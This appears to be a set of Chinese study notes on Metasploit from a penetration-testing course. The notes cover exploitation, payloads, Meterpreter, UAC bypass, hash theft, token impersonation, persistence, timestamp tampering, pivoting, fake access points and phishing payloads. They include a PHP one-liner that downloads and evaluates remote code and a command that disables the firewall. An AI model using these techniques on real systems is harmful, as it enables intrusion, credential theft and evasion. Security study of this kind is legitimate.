您的当前位置:首页正文

Kali Linux渗透测试学习笔记--MSF

2024-10-18 来源:威能网


第18章 Metasploit Framework

142.渗透测试者的困扰.exe

143.Metasploit简介、教材和版本对比.exe

metasploit framework 是一个框架,渗透测试各个阶段的工具基本都具备,同时有灵活扩展的功能。

ruby语言开发最大的软件就是metasploit。HD More参与了shodan项目。

nessus openvas扫描出来的漏洞不一定真的存在,使用msf验证漏洞。msf集成到kali,更新kali同时会更新msf。

已购买中文第二版。

第一个是集成在kali中的版本。基于web的免费版在大批量工作时会有限制。

收费版的报告功能很强大。

144.Metasploit Framework 和MSF架构.exe

数据库默认端口5432,有异常时msf启动会提示数据库连接失败。

在不启动数据库情况下命令行输入msfconsole会提示连接数据库失败。

但是在不启动数据库点击桌面msf图标的时候会自动启动数据库。

145.MSF架构-技术功能模块.exe

ls /usr/share/metasploit-framework/modules/exploits/windows/smb/

POC/EXP是漏洞利用方法代码,可以调用payload或者shellcode,而没有shellcode/payload功能。

payload跟漏洞没有关系,漏洞怎么产生的,怎么利用的都没有关系。

获得shell的代码是shellcode,也可以只执行一条命令。

auxiliary里有包含DoS的模块,让目标崩溃的模块。不包含payload功能。

还有post模块,后攻击阶段的模块。

146.MSF基本使用和控制台命令.exe

在msf下也可以执行部分系统命令。

help vulns

-q静默方式启动,-r 资源文件,-v 当前版本

connect 是msf下的类似于nc的工具。

支持代理,支持ssl加密。

use 08-067

payload空间,坏字符。

show payloads #适用于当前模块的payload

show advanced

show evsion

show missing

每一个模块实际上是ruby语言,rb后缀名的。可以在当前模块下输入edit修改模块。或者使用系统命令进行修改。

设置好参数以后,可以先check一下再进行exploit。不是所有的模块都有check功能。

147.MSF-控制台命令.exe

db_rebuild_cache 建立缓存,提高速度。

db_connect 连接数据库,可以连接不同的用户,连接其他ip的数据库,协同工作的时候使用。

db_nmap msf下的nmap命令,功能一样,不同的是可以把扫描结果保存到数据库

里。

creds 扫出来的密码信息

vulns 扫出来的漏洞信息

loot 查看hashdump,获取到的hash值。

设置/取消设置变量 设置/取消全局变量 save保存变量值。下次进入仍然生效。

exploit -j 后台执行侦听

load 插件load openvas 装载插件

loadpath 指定加载模块目录

resource msf内调用rc,也可以在系统命令行调用rc msfconsol -r a.rc

kill 0

148.Exploit 模块.exe

active exploit 主动模块:攻击者主动发起payload。

这个模块需要知道目标用户名密码。

被动方式,创建一个网站,诱使客户端访问。

https保证数据传输安全,并不能提高服务器安全,也不能提高客户端安全

149.生成 payload.exe

payload可以编译直接拷贝到目标直接运行。

非必选参数,限制来源连接地址。

payload上下文:执行generate 生成ruby语言16进制内容显示出来。(当前payload)

-b过滤坏字符。\\x00

过滤坏字符会使用encoder,体积也会变大。

过滤坏字符太多的话,会出现没有能过滤的encoder。

可以加密一次也可以多次,也可以绑定其他exe,绑定后不影响原程序运行。

-s NOP sled length. -t 默认情况下输出ruby语言的payload,可以指定其他格式。

150.Meterpreter.exe

虽然根据之前的操作拿到了目标的shell,但是所作的事情比较少。meterpreter可以实现强大的攻击功能。

151.Meterpreter 基本命令和Meterpreter Python扩展.exe

ms08-067作为演示。

set payload windows/meterpreter/reverse_tcp

上传文件,路径用\\\\分割

进入meterpreter提示符。

run/bgrun 命令和post脚本,关闭av,等等很多后攻击阶段工具。

263个命令,U盘插入记录,域环境的话会更多的受影响。

execute -f cmd -i -H #-f指定程序 -i交互式 -H隐藏

getsystem 获取system账户权限 getprivs 查看权限 getproxy 获取代理设置

getpid 获取进程id ps查看进程列表 migrate 迁移到别的进程

hashdump 获取hash

idletime 目标操作系统空闲时间。如果长时间没有操作,可能没有人在操作。可以操作桌面。

resource 调用rc文件。

-i 每隔一秒钟抓拍

执行自定义的python脚本,需要解释环境,load python就不需要客户端有解释环境。

152.Msfcli.exe

153.Msf-信息收集 发现和端口扫描.exe

auxiliary模块收集目标的模块,rhost参数编程了rhosts,也就是可以指定多个目标。

具体模块有什么作用,有什么不同,可以查看info信息。

154.Msf-信息收集 IPID Idle扫描和UDP扫描.exe

僵尸扫描,查找僵尸主机。

155.Msf-信息收集 密码嗅探和SNAP扫描.exe

msf还支持被动扫描,数据流分析。

支持在线的抓包分析,支持文件分析。

matesploitable2 snmp 测试 ,修改侦听地址。

snmp_login 可以暴力破解conmm

snmp_enum可以读取配置。

下面连个模块式windows下的。

模块有高级参数,默认只显示一般。show advanced 显示高级参数

set verbose yes

156.Msf-信息收集 SMB服务扫描.exe

windows/linux下都有smb服务,可以进行版本扫描,得到操作系统信息。

winodws 管理员rid是500,不是根据用户名来确定身份。

157.Msf-信息收集 SSH服务扫描.exe

msf自带的字典文件。

基于公钥的登陆需要证书。

通过某种方式窃取到密钥的话,某些硬件设备的登录密钥是相同的。

158.Msf-信息收集 系统补丁.exe

options里有个参数是session,需要指定session,基于session的模块。

在meterpreter 输入background,使用上面模块查系统补丁。

ms08-067是漏洞编号,KB2871997是补丁编号。

运行时需要迁移到其他进程。

查的补丁编号也要set,默认只有2个。

159.Msf-信息收集 sql serve.exe

查询UDP 1434端口可以判断mssql,通过连接1434端口可以查出来tcp端口是多少。

160.Msf-信息收集 FTP.exe

161.Msf-弱点扫描.exe

某些版本的vnc安装完以后默认不设置密码。空密码漏洞

search ms12_020_check,一个是检查模块,一个是攻击模块。

如果拿到了账户信息,可以使用admin下的模块针对不同的产品不同的功能做管理。

dir_listing 用来列出目录,files_dir用来爆破目录。

wmap msf提供的插件。设计思路、命名模仿sqlmap--wmap

这个插件是利用msf内的针对http扫描的模块。

load wmap 以后多了针对wmap的命令。help

wmap_run -e 开始执行,凡是适用的模块都将被调用。

162.Msf-弱点扫描 和客户端渗透.exe

nexpose 商业版软件,试用期14天。

openvas nessus 导出使用nbe格式,nexpose使用xml格式。

导入之前/之后可以查看hosts 和services和vulns进行对比

先要启动nessus。

nessu_scan_launch id

服务端和客户端使用的payload要保持一致。

定制deb包

先下载deb包,比如freesweep,默认下载到/var/cache/apt/archives/partial目录

dpkg -x 解压deb包,到free目录。

vi control #里面添加相关信息。

vi postinst #安装后要执行的脚本。

163.Msf-客户端渗透.exe

第一个模块作用是用来生成pdf文件。

set payload windows/meterpreter/reverse_tcp #优先使用meterpreter的payload

set lhost

run #生成包含payload的pdf文件。把文件拷贝到目标客户端。

msf下进行侦听,目标打开文件。

获得shell以后可以迁移进程,防止客户端打开文件异常以后关机程序。

第二个模块,也是利用这个漏洞。在线欺骗

同时也要set payload

use priv #提升权限。

post 键盘记录payload,键盘记录只是显示了敲击的记录,系统返回的结果不会显示。

exploit/multi/browser/adobe_flash_hacking_team_uaf 欺骗用户打开网页,跟pdf过程一样。

exploit/multi/browser/adobe_flash_opaque_background_uaf

auxiliary/server/browser_autopwn2模块

所有msf里浏览器漏洞模块集成到一块,自动装载payload到msf。等待客户端连接。

侦听80,不同的客户端跳转到不同的payload端口

使用这类模块,可用payload就变成java目录

java meterpreter和windows meterpreter有一些差别

exploit/multi/browser/java_jre17_jmxbean

3个java模块使用方法一样。

手机客户端。手机上安装时会提示病毒。

生成vba脚本代码。生成2部分内容。第一部分是vba代码,第二部分十六进制的payload。

建立的word文件拷贝到目标打开。

164.Msf-后渗透测试阶段.exe

win7以后增加了uac,用户访问控制功能,管理员组的用户在运行高级权限功能的时候会有窗口提示。

默认的meterpreter下不能运行getsystem,先要load priv,执行时会失败,因为有UAC限制。

绕过UAC的3种方法:先backbround

use exploit/windows/local/ask

要求任何权限时都有窗口提示。

set payload 还是使用revers_tcp

利用现有seeion执行额外的pyaload。现在取得的shell就是通过UAC限制的session

load priv

getsystem 可以执行。

seesion 2可以绕过UAC限制。取得system权限。

第二种方法:use exploit/windows/local/bypassuac #local下面的模块都是基于已有的session进行操作。

set session

set payload

exploit #目标没有弹出窗口,会生成新的session

第三种方法:

use exploit/windows/local/bypassuac_injection

set payload

exploit

以上前提是获得的seesion权限已经是admin组。

利用漏洞提升权限,获得的本地一般权限账户。

同样需要set payload 直接就是system权限。

迁移到explorer进程也会随着用户注销而消失。

第1,4可以在win7 sp1上成功执行。

图形化payload

用第一个模块取得system,使用图形化payload

默认viewonly yes改成no,就可以操作。

165.Msf-后渗透测试阶段(二).exe

进入session以后可以获得操作系统账号hash,利用passthehash可以传输hash值进行验证,而不需要破解。msf可以调用passthehash。

psexec模块利用smb协议执行目标上面的命令。执行2条,以上有重复。

密码设置为hash,set payload

会有报错,因为有UAC。使用突破限制的session进入shell执行上面命令,上面命令是修改该注册表。取消UAC限制。

关掉UAC以后需要重启。shutdown /r /t 0 这也是关闭UAC的操作,而不是绕过。

这样就可以使用exec

netsh advfirewall set allprofiles state off

也可以关闭rdp

run getgui -e 开启rdp,也可以通过getgui添加用户

不用vnc,不开远程桌面也可以对桌面截图。

间隔性的截图,节省带宽。meterpreter下load和use作用一样。

获得admin token,一般用户冒充管理员进行操作。

交互式登录是正常登录或rdp等。非交互式登录是smb方式等。

盗用token在域环境特别有效。注销后token虽然失效,但权限保存,权限仍然在。

窃取token必须拿到本机管理员权限,进而窃取域管理员token

incognito是单独的一个软件,msf把它集成进来。

list_tokens -u

查看当前token,看到没有域管理员的token

当域管理员通过网络访问目标主机的时候,可以看到这个token

成功伪装成域管理员

166.Msf-后渗透测试阶段(三).exe

需要关闭UAC

需要获得meterpreter,反弹shell用在目标不固定,ip经常变化,或者在内网。

nc侦听端口或者bind_shell的形式目标有互联网固定ip。

添加启动项的时候注意关掉av,之类软件。

reg命令可以查看帮助

enumkey 内容 setval 增加键 queryval 查询

nc -d 静默执行 -L连接断开后继续侦听 -p 端口

第三条命令查询结果

167.Msf-后渗透测试阶段(四).exe

只保存最近50000个包,循环使用空间。

可以即使dump下来cap包。只能过滤meterpreter控制流量。

psnuffle模块分析抓下来包内的信息。功能有限可以借助Wireshark分析。

注意转义符\\和空格都需要\\转义符。

Modified 修改 修改文件内容

Accessed 访问 读取、打开文件、复制

Changed 变更 属性、权限修改

ls -al 默认看到mtime

ls 不会更新atime

touch -d -t atime mtime 更新

修改内容3个时间戳都会更新。

msf里有timestomp模块,功能更强大。

windows下ntfs多了一个E时间。E:MFT entry

windows下,文件改名只修改entry time

-f 指定一个文件,以这个文件的时间作为模板。

-m / -a / -c / -e / 所有修改-z

168.Msf-后渗透测试阶段(五).exe

kali 仅主机模式网卡1 mono1 仅主机模式网卡1 桥接模式

mono2 仅主机模式网卡2 桥接模式 win7 仅主机模式网卡2 host 仅主机模式网卡2

基于session会话,把目标是win7内网的数据流送到win7转发

也适用于目标有双网卡的情况。

192.168.21.95 是mono2 外网口地址。自动判断的。

先使用portscan/tcp模块进行内网扫描。

db_nmap命令不支持,只能使用msf里面的扫描模块。

在对xp进行渗透测试时,payload的lhost ip 要提前,正常应该在kali,提前到mono1也不行,需要提前到win7。win7会自动路由返回到kali

portfwd add -l 3389 -r 2.1.1.11 -p 3389 #不指定本地IP也行。

路由方式是流量路由,端口转发是针对端口。

set exitonsession false #kali端侦听端口不因目标连接过来后而关闭。等于始终侦听。

169.Msf-后渗透测试阶段(六).exe

arp扫描本地网络,检查是不是虚拟机,收集账号及token,获取程序列表,登陆的用户,snmp信息,侦察目标本地提权漏洞,删除用户,目标环境信息,firefox保存的密码,ssh保存密码,检查某个文件是不是恶意软件。

已经获得token的用户不会因为删除账户而注销

post脚本自动执行:比如在目标连接过来以后自动迁移到别的进程,避免连接进程被断开。

set InitialAutoRunScript migrate -n explorer.exe #大部分post模块都有这个参数,提前设置

set AutoRunScript post/windows/gather/dumplinks #这个是一个模块,自动执行模块,获得windows当前用户最近打开的文档记录。

autorunscripte 只能指定一个模块

InitialAutoRunScript先运行一个模块或脚本,再运行autorunscripte。

170.Msf-后渗透测试阶段(七).exe

nc创建的自启动也只是nc功能,不是meterpreter。

有两种方式,第一种run metsvc -A

在目标本地安装一个系统服务,侦听31337端口,这个端口nc连不上。

可以nmap扫描31337端口,:)

不在目标侦听端口,使用反弹shell。

mimikatz可以把内存中用户明文密码提取出来。

winmine::infos 扫雷游戏。

winmine::cheat 作弊

利用文件上传漏洞,或者通过其他漏洞上传能执行php文件的目标。还提供java,jsp,asp的shell

web delivery

kali上运行http server,上面放漏洞执行代码,目标存在系统运行漏洞,主动访问kali us、rl地址,会把漏洞代码下载到目标机本地,执行反弹shell到kali。

目标下载php文件以后必须执行这一段代码:

php -d allow_url_fopen=true -r

“eval(file_get_contents(‘http://1.1.1.1/fTYWqmu'));\"

171.Msf-后渗透测试阶段(八).exe

默认情况下metasploitable2不支持RFI。修改配置文件。

kali上使用msf启动包含webshell的php站点。

PHPURI /?php=XXpathXX # XXpathXX会自动由msf替换成包含php webshell的路径。

正常应该时http://192.168.111.130/webshell.php

因为这个测试的web文件包换路径是登陆过以后才能访问到的。所以需要设置cookie。

设置完毕执行,

成功获得meterpreter

无线攻击方式,多种工具的集合。伪造AP,诱使别人连接,通过AP,可以嗅探抓包。

同时在AP上启动漏洞利用模块,检测目标存在的漏洞,尝试往流量里注入payload。创建meterpreter。既能嗅探信息,也能注入代码。

不是插件,也不是脚本,是一个资源文件。

安装DHCP。

伪造AP,启动dhcp,启动karmetasploit。伪造AP,必须先启动侦听模式。

ifconfig -a 看到at0,未激活。

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 #激活at0,并且设置IP地址。

touch /var/lib/dhcp/dhcpd.leases #建立租约文件。

此时AP已经可以看到,OPEN状态。但是没法上网。这时候就可以启动karmetasploit了。

如果发现漏洞建立meterpreter,但是客户端连上AP以后不能上网断开AP连接以后meterpreter就同时断开了。所以要修改配置文件。让客户端可以正常的使用伪造AP。

修改karma.rc_.txt,删除数据库连接部分,删除setg所有参数。

文件内有dns劫持模块。fakedns

建议增加autopwn2,默认已有autopwn。

msf内还有安全监测模块。检测是否由恶意软件。

打开ip转发,加入iptables策略。

172.Armitage图形化端-简介安装.exe

基于java开发的图形化界面。

armitage是客户端,msfrpcd是服务端。端口55553

所有操作都是服务端完成,服务端来调用msf模块。客户端只是发送命令。

多个客户端共享漏洞数据。

需要先启动数据库,不需要进入msfconsole

teamserver ip pass #服务端启动。

客户端启动输入相应信息。

验证finger,输入nickname

173.Armitage 图形化前端-启动、发现主机、工作区、获取目标.exe

可以手动添加host,也可以导入nmap之类的扫描结果。

导入以后可以进行扫描,扫描以后可以进行自动化攻击。

metasploitable2 自动攻击可以建立4个session

可以看到建立了4个shell。

添加工作区,按照条件对多个目标过滤分区。可以为目标添加标签,进行工作区区分。

工作区可以激活,隐藏其他目标,工作区是个人独立的。个人视角的目标动态筛选

可以在这里生成exe,发送给目标。

侦听端口在listeners---revers_tcp---

也可以bind tcp 主动连到目标。

也可以建立隐藏的tcp bind

运行以后,目标有进程,但是没有打开端口。但是一旦有Ahost IP 的主机连过来的时候才侦听。连接以后会看到打开了相应的端口,建立了相应的连接。

browser_autopwn2模块建立网站,欺骗目标打开。

可以持久化会话。

pass session 基于一个session建立另外一个session

可以做post一些操作,可以作为跳板渗透其他内网主机。

可以利用的漏洞。

默认自动攻击时使用的漏洞级别。

下一项,可以做为代理。另一台主机可以把代理设置为kali。

kali使用已建立的session 和路由,那么可以用客户端访问目标资源。

scripts 扩展功能,扩展armitage的功能。

默认已有脚本Veil-Evasion?/use/share/veil-evasion/tools/cortana/veil_evasion.cna

选中以后需要确定文件的路径

还可以支持导出报告。

另外一个类似软件:Cobalt Strike 商业软件,有破解版。

也用于红队团结协作。

174.新闻插播和社会工程学.exe

寻找合理的托词、借口,获取目标信任。

开源免费,可以自己修改。

11第三方模块,10,短信欺骗,9,poershell,8,二维码生成 7,伪造AP,6,嵌入式开发5,邮件炸弹 4,创建payload和侦听,3,感染U盘等,也是生成payload或文件格式payload,autoini ,2,web攻击向量,1,鱼叉式钓鱼

/root/.set/下临时文件,可以定时清除。

web攻击登录收集信息以后会转到正常页面,隐蔽性好。

鱼叉式钓鱼,可以生成pdf格式的payload,可以和以后pdf合并。

发邮件需要smtp服务,收件人的服务器可能会拒收,判断出有病毒。

因篇幅问题不能全部显示,请点此查看更多更全内容